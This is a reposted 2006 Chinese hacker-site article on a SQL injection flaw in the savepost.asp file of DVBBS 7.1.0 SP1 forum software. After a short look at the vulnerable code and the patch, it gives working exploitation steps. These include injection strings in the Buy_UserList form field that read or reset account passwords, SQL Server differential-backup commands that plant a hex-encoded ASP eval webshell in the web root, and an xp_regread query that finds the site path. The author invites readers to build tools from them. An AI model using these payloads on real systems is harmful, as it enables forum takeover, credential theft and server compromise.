| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 安全防御 >> 漏洞分析 >> 文章正文 用户登录 新用户注册
  对dvbbs7.1 sp1最新savepost.asp漏洞的研究和利用         ★★★ 【字体:
对dvbbs7.1 sp1最新savepost.asp漏洞的研究和利用
作者:未知    文章来源:CnXHacker.Net    点击数:    更新时间:2006-5-11    

文章作者:风尘浪子 
信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 

动网论坛(DVBBS 7.1.0 SP1)Savepost.asp存在严重漏洞10-May-06 
发现:Bug.Center.Team 
严重程度:严重 
厂商名称:动网论坛(DVBBS) 
程序版本:DVBBS 7.1.0 SP1 

漏洞分析: 
  因为程序在savepost.asp文件中变量过滤不严,导致数据库处理产生漏洞,可以取得论坛所有权限以及webshell。已经提交官方审核,并通过确认,补丁已经公布 

厂商补丁: 
    http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1 


    最新漏洞出来了,之前看见bct的人在qq群叫卖漏洞,要卖500大洋。没想到两天不到,就把漏洞发了。从 http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1下了个补丁,看了看,修改了许多。仔细看看Savepost.asp,发现也修改了许多地方。 
怎么办呢,看不到修改在哪里,只好自己朝下看了。 
看到下面: 
------------------------------ 
If Not IsNumeric(Buy_VIPType) Then Buy_VIPType = 0 
          If Buy_UserList<>"" Then Buy_UserList = Replace(Replace(Replace(Buy_UserList,"|||",""),"@@@",""),"$PayMoney","") 
          ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||" 
          GetMoneyType = 3 
          ’UseTools = ToolsInfo(4) 
-------------------------------------- 


再朝下看: 
Public Sub Insert_To_Announce() 
    ’插入回复表 
    DIM UbblistBody 
    UbblistBody = Content 
    UbblistBody = Ubblist(Content) 
    SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",’"&username&"’,’"&topic&"’,’"&Content&"’,’"&DateTimeStr&"’,’"&Dvbbs.strlength(Content)&"’,"&RootID&","&ilayer&","&iorders&",’"&Dvbbs.UserTrueIP&"’,’"&Expression(1)&"’,"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",’"&UbblistBody&"’,"&ToMoney&",’"&UseTools&"’,’"&ToolsBuyUser&"’,"&GetMoneyType&")" 
  Dvbbs.Execute(sql) 

可以看到Buy_UserList这个变量过滤有问题,呵呵,这个变量又导致ToolsBuyUser这个变量有问题。的确是可以注射,呵呵。 
在悔过头来看补丁里面: 
insert里面有修补:&dvbbs.checkstr(ToolsBuyUser)&" 
看来应该是这个地方了。 
利用起来最好是sql版本,可以updata改管理员密码,或者差异备份得shell。 
利用办法嘛,先注册一个id,找个版面发帖子, 
帖子内容下面有个选择帖子类型。 
选择---论坛交易币设置。 
下面是表单内容。 

看源代码: 
--------------------------------------- 
<option value="">选择帖子类型</option> 
<option value="0">赠送金币贴</option> 
<option value="1">获赠金币贴</option> 
<option value="2">论坛交易帖设置</option> 
</select> 
金币数量:<input name="ToMoney" size="4" value=""> 
<div id="Buy_setting" style="display:none"> 
购买数量限制:<input name="Buy_Orders" size="4" value="-1">(设置为“-1”则不限制)<BR> 
VIP用户浏览选项:不需要购买<INPUT TYPE="radio" NAME="Buy_VIPType" value="0" checked="checked">,需要购买<input type="radio" name="Buy_VIPType" value="1" /><br /> 
可购买用户名单限制:<input name="Buy_UserList" size="30" value="" />(每个用户名用英文逗号“,”分隔符分开,注意区分大小写) 
</div> 
--------------------------------------- 
就是这个地方了,hoho。 
下面有个“可购买名单限制”,里面就填写: 
xjy111’,0);update/**/Dv_User/**/set/**/UserEmail=(select[Password]from/**/Dv_admin/**/where[Username]=’yellowcat’)/**/where[UserName]=’qq156544632’;-- 

提交成功。 
看看我的Email。 
晕死,居然成了空白。不知道为什么哈。 
来点直接的: 

coolidea|||123’,0);update/**/Dv_User/**/set/**/UserPassword=’469e80d32c0559f8’/**/where[UserName]=’qq156544632’;-- 

这回好了,先退出,用admin888这个密码直接成功登录。 
好了,语句没有问题,大家现在可以自由发挥,会写工具的,吧delphi什么的搬出来。 
直接改管理员的密码进后台,可以恢复数据库的办法得到shell(参考angel的文章,dvbbs7.1sql版本依然可以吧) 
或者差异备份(后台可以看到web绝对路径): 

create table aspshell (str image);  

declare @a sysname select @a=db_name() backup database @a to disk=’D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.bak; 

insert into aspshell values(0x3C256576616C20726571756573742822232229253E); 
declare @a sysname select @a=db_name() backup database @a to disk=’D:\wwwroot\dvbbs7sp1\wwwroot\qq156544632.asp’ with differential; 

drop table aspshell; 

另外一种得到web绝对路径办法(从职业欠钱兄弟那里看到的) 
create table regread(a varchar(255),b varchar(255)); 
(建立一个临时表,存放读取到的信息) 
insert regread exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots’, ’/’  
(使用xp_regread这个函数读取注册表信息得到虚拟目录路径,并存入临时表中) 
update dv_boke_user set boketitle=(select top 1 b from regread) where bokename=’admin’ 

至于acess版本没有研究。 

最近正在做毕业设计,日忙,一点也没有时间。发在这里大家讨论去吧。本人是一个大菜鸟,错误难免,或许bct的人发现的不是这个地方呢。 
此漏洞危害很大,bct意见把dvbbs官方和某著名论坛搞定了。我是本地测试的,本来想到黑防上面去测试一下,发现不能发金币贴,差点郁闷致死! 
吃饭去了。。。闪。

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    “VB蠕虫变种MQ”病毒技术细
    SIDVault Simple_Bind 函数多
    SIDVault Simple_Bind 函数多
    VB.NET 拖动无边框窗体编程实
    病毒清除技巧u.vbe和u.bat手
    了解VB编写病毒的大体方法
    Advanced SQL Injection In 
    用vbs来写sql注入等80端口的
    安全组织称已修补HD-DVD和蓝
    安全组织称已修复HD-DVD和蓝
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.